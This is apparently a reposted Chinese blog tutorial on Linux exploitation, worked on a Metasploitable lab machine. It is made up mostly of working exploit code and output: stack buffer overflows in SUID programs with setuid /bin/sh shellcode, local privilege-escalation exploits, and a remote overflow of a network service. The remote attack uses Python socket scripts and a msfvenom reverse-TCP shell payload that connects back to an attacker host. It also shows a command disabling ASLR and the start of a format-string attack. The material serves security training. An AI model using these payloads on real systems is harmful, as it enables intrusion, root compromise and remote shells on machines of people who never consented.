linux漏洞利用
阅读原文时间:2021年04月20日阅读:3

缓存区溢出:

EBP基址指针寄存器,ESP栈指针基础器.

EBP指向进程的当前栈帧的底部,ESP总是指向栈顶.栈是从内存高地址处向低地址反向增长.

#include <stdio.h>

greeting(char *temp1, char *temp2){
    char name[400];
    strcpy(name, temp2);
    printf("Hello %s %s\n",temp1, name);
}

main(int argc, char * argv[]){
    greeting(argv[1], argv[2]);
    printf("Bye %s %s\n", argv[1], argv[2]);

    return 0;
}

第二个参数使用Perl 注入600个A

~$ ./meet Mr `perl -e 'printf "A" x 600'`
Segmentation fault  #溢出了 

gdb 进行调试

~$ gdb -q meet
(gdb) run Mr `perl -e 'print "A" x 600'`
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 600'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e7825b in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) info reg eip
eip            0xb7e7825b       0xb7e7825b <strlen+11>

#不能控制eip,而它已经指向了内存中另一个地方.
#查看代码可以看出 进行多次嵌套函数调用,每一次都被压入栈中.
#当溢出时,一定会有函数的传入参数被破坏.

(gdb) b 6 #设置断点
Breakpoint 1 at 0x80483c2: file meet.c, line 6.
(gdb) run Mr `perl -e 'print "A" x 600'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 600'`
#参数一被覆盖 参数被覆盖 指向地址0x41414141
Breakpoint 1, greeting (temp1=0x41414141 <Address 0x41414141 out of bounds>, 
    temp2=0x41414141 <Address 0x41414141 out of bounds>) at meet.c:6
6               printf("Hello %s %s\n",temp1, name);
(gdb) 

写入的数据超过了栈中压入EIP的位置,会把将从temp1开始的函数参数覆盖.

一点点增加值 去尝试找出eip

(gdb) d 1 #删除断点  
(gdb) run Mr `perl -e 'print "A" x 401'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 401'`
Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08048409 in main (argc=0, argv=0x0) at meet.c:11
11              printf("Bye %s %s\n", argv[1], argv[2]);
(gdb) info reg ebp eip
ebp            0xbff00041       0xbff00041
eip            0x8048409        0x8048409 <main+40>
(gdb) run Mr `perl -e 'print "A" x 404'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 404'`
Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGILL, Illegal instruction.
0x08048400 in main (argc=Cannot access memory at address 0x41414149
) at meet.c:10
10              greeting(argv[1], argv[2]);
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x8048400        0x8048400 <main+31>
(gdb) run Mr `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 408'`
Hello  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
(gdb) run Mr `perl -e 'print "A" x 409'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 409'`
Hello  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
#在gdb中可以看到 发生了段错误,eip的当前值会显示出来.

缓存区溢出的后果:

1.拒绝服务

2.EIP将可能被控制并以系统级别访问权限执行恶意代码

3.EIP被控制并在系统级或根权限执行恶意代码

SUID概念:临时提升某个进程以允某些文件在其自身的特权级下执行.

列如passwd命令的所有者是根用户,当普通用户执行它时,这个进程就以根用户身份运行.

当SUID程序存在漏洞时,漏洞攻击程序就可以获得该文件所有者的特权,获得根权限.

本地缓存区溢出漏洞攻击:

本地漏洞攻击要比远程漏洞攻击容易些,因为能够访问系统内存空间.

缓存区溢出漏洞攻击的基本概念是:让存在漏洞的缓冲区溢出,然后出去恶意目的修改EIP,EIP指向的是下一条要执行的的命令.

在调用函数时,会将EIP的一个副本复制到栈上,这样当函数调用完成后就可以继续执行随后的命令.如果能够改变所保存的EIP值,那么当函数返回时,从栈上弹出到寄存器EIP将是被破坏的EIP值,而它将决定下一条要执行的指令.

NOP雪橇:

汇编代码中NOP代表不执行任何操作,只是移动到下一个命令.也就是空操作.在汇编代码中编译器使用改操作进行优化,为代码块增加垫片,实现字对齐.攻击者使用NOP实现垫片.把NOP放在漏洞攻击缓存区前面时,被称为NOP雪橇.若EIP指向NOP雪橇,处理器将"踏着"该雪橇滑入一下个组件.x86系统中,操作码0x90代表NOP.还有好多表示法.0x90是最常用.

shellcode 简单理解:经过gdb反汇编 提取的操作码:

~$ gdb -q meet
(gdb) disass main
Dump of assembler code for function main:
0x080483e1 <main+0>:    push   %ebp
0x080483e2 <main+1>:    mov    %esp,%ebp
0x080483e4 <main+3>:    sub    $0xc,%esp
0x080483e7 <main+6>:    mov    0xc(%ebp),%eax
0x080483ea <main+9>:    add    $0x8,%eax
0x080483ed <main+12>:   mov    (%eax),%edx
0x080483ef <main+14>:   mov    0xc(%ebp),%eax
0x080483f2 <main+17>:   add    $0x4,%eax
0x080483f5 <main+20>:   mov    (%eax),%eax
0x080483f7 <main+22>:   mov    %edx,0x4(%esp)
0x080483fb <main+26>:   mov    %eax,(%esp)
0x080483fe <main+29>:   call   0x80483a4 <greeting>
0x08048403 <main+34>:   mov    0xc(%ebp),%eax
0x08048406 <main+37>:   add    $0x8,%eax
0x08048409 <main+40>:   mov    (%eax),%edx
0x0804840b <main+42>:   mov    0xc(%ebp),%eax
0x0804840e <main+45>:   add    $0x4,%eax
0x08048411 <main+48>:   mov    (%eax),%eax
0x08048413 <main+50>:   mov    %edx,0x8(%esp)
0x08048417 <main+54>:   mov    %eax,0x4(%esp)
0x0804841b <main+58>:   movl   $0x80484fd,(%esp)
0x08048422 <main+65>:   call   0x804830c <printf@plt>
0x08048427 <main+70>:   mov    $0x0,%eax
0x0804842c <main+75>:   leave  
0x0804842d <main+76>:   ret    

网上有很多shellcode库 https://www.exploit-db.com/shellcode/

#include <stdio.h>
#include <string.h>

char shellcode[] = 
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}

编译运行提升权限:

msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o shellcode shellcode.c 
msfadmin@metasploitable:~$ chmod u+s shellcode
msfadmin@metasploitable:~$ sudo ./shellcode
root@metasploitable:/home/msfadmin# id
uid=0(root) gid=0(root) groups=0(root)

漏洞攻击最重要的因素是返回地址的值,填充缓冲区溢出.尽可能直接指向shellcode的起始位置.不可控因素挺多,有可能指向NOP的中间某个位置,测试一下ESP的值:

#include <stdio.h>

unsigned int get_sp(void) {
    __asm__("movl %esp, %eax");
}
int main(){
    printf("Stack pointer (ESP): 0x%x\n", get_sp());
}

root@metasploitable:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbfa57f48
root@metasploitable:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbf8b25a8
root@metasploitable:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbfa51f48
root@metasploitable:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbf9bfeb8
root@metasploitable:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbff59c48

#每次的值都不一样,说明系统正常运行某种栈随机化保护机制.建立软连接绕开保护机制.
#echo "0" > /proc/sys/kernel/randomize_va_space 

#再次执行代码 地址不变说明成功了,如果有变化 执行软连接.
#找到当前ESP,就能够估算出存在漏洞缓冲区的顶部.
root@metasploitable:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbffffde8
root@metasploitable:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbffffde8

命令行上进行栈溢出漏洞攻击:

root@metasploitable:/home/msfadmin# perl -e 'print "\x90"x200';
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������root@metasploitable:/home/msfadmin<x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > sc                   
root@metasploitable:/home/msfadmin# wc -c sc #计算shellcode的大小
53 sc

ESP值为 0xbff59c48,从命令行发起攻击时,命令行参数将在调用主函数之前放入栈中.

当前测试程序的参数,攻击缓存区的长度为408字节,其中前200字节为NOP雪橇.

为确保登入到NOP的中部.必须在当前栈地址之前300字节处运行.

若将这300字节加到原来的脚本参数中,跳点将在计算出的ESP值之后的708字节,0x2c4.

因此当前ESP减去0x300十进制768来计算登入点.

0xbffff4f8 - 0x300 = 0xbffffae8

perl使用小端字节序写入这个地址:

perl -e 'print"\xe8\xfa\xff\xbf"x38';

使用取模运算:

(408 bytes - 200 bytes of NOP - 53 bytes of Shellcode) / 4 bytes of address = 38.75


root@metasploitable:/home/msfadmin# ./meet mr `perl -e 'print "\x90"x200';``cat sc``perl -e 'print "\xe8\xf1\xff\xbf "x38';`                            
Hello mr ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀v�1��F�F
                                                                                                         �
                                                                                                          ��V
                                                                                                             ̀1ۉ����/bin/sh���
Bye mr ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀v�1��F�F
                                                                                                       �
                                                                                                        ��V
                                                                                                           ̀1ۉ����/bin/sh���
root@metasploitable:/home/msfadmin# 

这个缓冲区只有405字节,程序崩溃,可能原因在于重复地址在填充时未对齐.可以增加所用的NOP数目.

通用漏洞攻击:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
    __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[1]) {
    int i, offset = 0;
    unsigned int esp, ret, *addr_ptr;
    char *buffer, *ptr;
    int size = 500;

    esp = get_sp();
    if(argc > 1) 
        size = atoi(argv[1]);

    if(argc > 2)
        offset = atoi(argv[2]);

    if(argc > 3)
        esp = strtoul(argv[3], NULL, 0);

    ret = esp - offset;

    fprintf(stderr, "Usage: %s<buff_size> <offset> <esp:0xfff...>\n", argv[0]);

    buffer = (char *)malloc(size);

    ptr = buffer;
    addr_ptr = (unsigned int *) ptr;

    for(i=0; i < size; i+=4)
        *(addr_ptr++) = ret;

    for(i=0; i < size/2; i++)
        buffer[i] = '0x90';

    ptr = buffer + size / 2;

    for(i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

    buffer[size-1] = 0;

    execl("./meet", "meet", "Mr.", buffer, 0);
    printf("%s\n", buffer);

    free(buffer);
    return 0;
}

msfadmin@metasploitable:~$ ls -l meet
-rwsr-xr-x 1 msfadmin msfadmin 7590 2018-09-04 06:12 meet

#新建一个用户, 运行程序会把权限提升

对小缓冲区漏洞攻击:

#include <stdio.h>

int main(int argc, char * argv[]){
    char buff[10];
    strcpy(buff, argv[1]);
}

#需要建立一个用户去验证

#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

#define VULN "./smallbuff"
#define SIZE 160

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv[]){
    char p[SIZE];
    char *env[] = { shellcode, NULL };
    char *vuln[] = { VULN, p, NULL };
    int *ptr, i, addr;

    addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);

    fprintf(stderr, "[***] using address: %#010x\n", addr);

    ptr = (int *)(p+2);

    for (i=0; i < SIZE; i += 4)
        *ptr++ = addr;

    execle(vuln[0], (char *)vuln, p, NULL, env);
    exit(1);
}

msfadmin@metasploitable:~$ chmod u+s smallbuff
msfadmin@metasploitable:~$ ls -l smallbuff
-rwsr-xr-x 1 msfadmin msfadmin 7192 2018-09-04 07:39 smallbuff
msfadmin@metasploitable:~$ ./exploit2 
[***] using address: 0xbfffffba #新建一个用户会把权限提升

反编译可以看到:

msfadmin@metasploitable:~$ gdb exploit2 --quiet
(gdb) run
Starting program: /home/msfadmin/exploit2 
[***] using address: 0xbfffffba
Executing new program: /home/msfadmin/smallbuff

漏洞攻击开发过程:

1.控制EIP

2.确定偏移

3.确定攻击向量

4.构建漏洞攻击

5.测试漏洞攻击

6.调试漏洞攻击程序

测试程序:

#打开测试程序
msfadmin@metasploitable:~$ ./test &
[1] 5803

msfadmin@metasploitable:~$ netstat -anlp | grep test
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:5555            0.0.0.0:*               LISTEN      5803/test       

~# nc 192.168.1.104 5555 #尝试连接
--------Login---------
Username: Test
Invalid Login!
Please Try again


perl -e 'print "A"x8096' | nc 192.168.1.104 5555

msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5893]
0x41414141 in ?? ()        #看到EIP和EBP被重写了
(gdb) i r eip esp ebp
eip            0x41414141       0x41414141
esp            0xbffffca8       0xbffffca8
ebp            0x41414141       0x41414141

缓存区溢出,需要确切的知道使用多少个字符才能不多不少的覆盖EIP.

创建一个python脚本来连接监听者: 

看程序是否崩了,找到覆盖的EIP

#!/usr/bin/python
import socket

total = 1024

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = "A"*total + "\n"
s.send(exploit)
s.close


msfadmin@metasploitable:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5893]
0x41414141 in ?? ()
(gdb) i r eip esp ebp
eip            0x41414141       0x41414141
esp            0xbffffca8       0xbffffca8
ebp            0x41414141       0x41414141

#python 程序成功连接到了

使用Metasploit pattern_create工具算出使缓冲区发生溢出的字符数:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B

运行漏洞攻击程序:

#!/usr/bin/python

import socket

total = 1024

sc = ""
sc += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"

s = socket.socket()

s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = sc
s.send(exploit)
s.close

gdb运行测试程序:

msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5952]
0x41386941 in ?? () #段错误值

使用pattern_offset.rb 可以确切的知道偏移量在EIP被重写之处的前264字节

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386941 -l 1024
[*] Exact match at offset 264

知道了EIP的重写位置,确定要执行载荷所要跳转到的栈地址.在代码中加入NOP雪橇.创造更大的跳转区域,即便位置发生少量偏移,也能跳转到NOP雪橇所在之处.

#!/usr/bin/python

import socket

total = 1024
off = 264
sc = ""
sc += "A"
noplen = 32
jmp = "BBBB"

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90" * noplen + sc
exploit += "C"*(total - off - 4 - len(sc) - noplen)

s.send(exploit)
s.close

msfadmin@metasploitable:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run c
Starting program: /home/msfadmin/test c
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5979]
0x42424242 in ?? () #EIP被重写
(gdb) x/32x $esp
0xbffffca8:     0x90909090      0x90909090      0x90909090      0x90909090 #填充NOP指令
0xbffffcb8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcc8:     0x43434341      0x43434343      0x43434343      0x43434343 #shellcode丢弃区域
0xbffffcd8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffce8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffcf8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffd08:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffd18:     0x43434343      0x43434343      0x43434343      0x43434343

通过metasploit 生成shellcode:

~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -b "\x00\xff" -f python -v shellcode #-b是消除坏字符
~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 384 bytes
shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x01\x69\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

运行python攻击程序:

#!/usr/bin/python
import socket

total = 1024
off = 264

shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x01\x69\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

noplen = 32
jmp = "\xc8\xf4\xff\xbf"

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90"*noplen + shellcode
exploit += "C"*(total-off-4-len(shellcode)-noplen)

s.send(exploit)
s.close

在gdb中查看:

msfadmin@metasploitable:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run c
Starting program: /home/msfadmin/test c
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /usr/bin/id
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program exited normally.

msf中监听:

msf exploit(multi/handler) > set LHOST 192.168.1.104
LHOST => 192.168.1.104
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Command shell session 1 opened (192.168.1.105:4444 -> 192.168.1.104:33933) at 2018-09-05 02:17:56 +0800

id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

成功的命中!!!

格式化字符串漏洞攻击:

printf() 将输出结果打印到标准输入\输出句柄

fprintf()将输出结果打印到文件流

sprintf()将输出结果打印到字符串

snprintf() 将输出结果打印到字符串,内置长度检查

从任意内存读取:

//测试代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
    static int canary = 0;
    char temp[2048];
    strcpy(temp, argv[1]);
    printf(temp);
    printf("\n");
    printf("Canary at 0x%08x = 0x%08x\n", &canary, canary);
}

编译运行测试:

msfadmin@metasploitable:~$ ./fmtstr Testing
Testing
Canary at 0x080496cc = 0x00000000
msfadmin@metasploitable:~$ chmod u+s fmtstr


msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x" #%x表示十六进制 用于标记 偏移4 8字节宽   
